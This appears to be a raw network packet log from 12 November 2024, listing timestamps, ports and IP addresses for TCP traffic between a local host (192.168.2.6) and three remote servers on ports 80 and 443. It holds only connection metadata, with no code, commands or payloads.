Nov 12, 2024 13:35:36.918284893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.918297052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.918380976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.919709921 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.919733047 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.919786930 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.919795990 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.919984102 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.920190096 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.920805931 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.920814037 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.920821905 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.920855045 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.921217918 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.921256065 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.921405077 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.921832085 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.921844959 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.940262079 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.940275908 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.940303087 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.940340042 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.940366030 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.940385103 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.940402031 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.942394018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942461014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942497969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942522049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.942564011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.942568064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942630053 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.942631960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942778111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942795992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942812920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.942812920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.942831039 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.942956924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.942970037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943025112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.943195105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943208933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943257093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.943351030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943362951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943375111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943392038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943408012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.943443060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.943708897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943722010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943733931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943747044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.943766117 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.943804979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.943804979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.944065094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.944092035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.944102049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.944125891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.944125891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.978550911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.978569984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.978581905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.978630066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.978631973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.978631973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.978702068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.978744030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.978756905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.978801966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.978801966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.978996038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979010105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979021072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979033947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979041100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.979080915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.979360104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979372978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979392052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979404926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979429007 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.979460001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.979681015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979693890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979706049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.979758024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.979758024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.989984989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.990073919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.990108967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.990170956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.990319014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.990360975 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.990427971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.990619898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.035449982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.035500050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.035512924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.035578966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.035578966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.035578966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.035631895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.035644054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.035696030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.058512926 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.058538914 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.058608055 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.058634996 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.059027910 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.059432030 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.059501886 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.059514999 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.059815884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.059876919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.059887886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.059936047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.060008049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060019016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060029984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060041904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060071945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.060071945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.060107946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.060395956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060461998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.060906887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060933113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060950041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060961962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060973883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.060978889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061005116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061005116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061528921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061539888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061552048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061563969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061575890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061575890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061623096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061641932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061789989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061801910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061813116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.061834097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.061861992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.082729101 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.082923889 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.082958937 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.082974911 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.083261013 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.083287001 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.084170103 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.084175110 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.084234953 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.084235907 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.084647894 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.084717035 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.085146904 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.085206032 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.085397005 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.085405111 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.085515022 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.085524082 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.087462902 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.087717056 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.087726116 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.088747025 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.088800907 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.089117050 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.089171886 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.090858936 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.090864897 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.091161013 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.091547012 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.091572046 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.091897964 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.092686892 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.092760086 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.092823029 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.095554113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.095613956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.095633984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.095644951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.095655918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.095711946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.095711946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096177101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096189976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096205950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096229076 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096302032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096314907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096344948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096390009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096401930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096415043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096426964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096438885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096451044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096472979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096494913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096786976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096800089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096808910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.096852064 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.096875906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.097078085 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.097407103 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.097421885 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.098445892 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.098503113 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.099004030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.099051952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.099057913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.099066019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.099124908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.099805117 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.099865913 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.099937916 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.106570005 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.107800961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.107863903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.107875109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.107894897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.107909918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.107914925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.107970953 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.125844002 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.125845909 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.133136034 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.139336109 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.143217087 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.143230915 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.152884007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.152932882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.152945995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.153001070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.153033972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.153057098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.153069019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.153079987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.153120041 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.153120041 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.177349091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177365065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177418947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.177515984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177529097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177542925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177582979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.177582979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.177615881 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.177628994 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.177648067 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.177685022 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.177712917 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.177723885 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.177728891 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.177752972 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.177874088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177891970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177903891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.177943945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.177943945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.178411007 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.178481102 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.178484917 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.178590059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.178600073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.178657055 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.178718090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.178729057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.178740978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.178754091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.178770065 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.178869963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.179064989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179075956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179081917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179086924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179092884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179102898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179284096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.179347038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179358006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179369926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.179388046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.179419994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.185964108 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.213160038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213231087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213242054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213254929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213275909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213355064 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213387966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213402987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213457108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213457108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213516951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213604927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213615894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213628054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213639975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213668108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213749886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.213939905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213948965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.213995934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.214037895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214050055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214104891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.214135885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214183092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214267015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.214289904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214303017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214318991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214340925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.214370012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.214461088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214467049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.214498997 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.216156960 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.216176033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.216181040 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.216243982 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.216248035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.216264009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.216265917 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.216295004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.216295004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.216350079 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.216397047 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.216733932 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.216756105 CET	443	62185	13.107.246.57	192.168.2.6
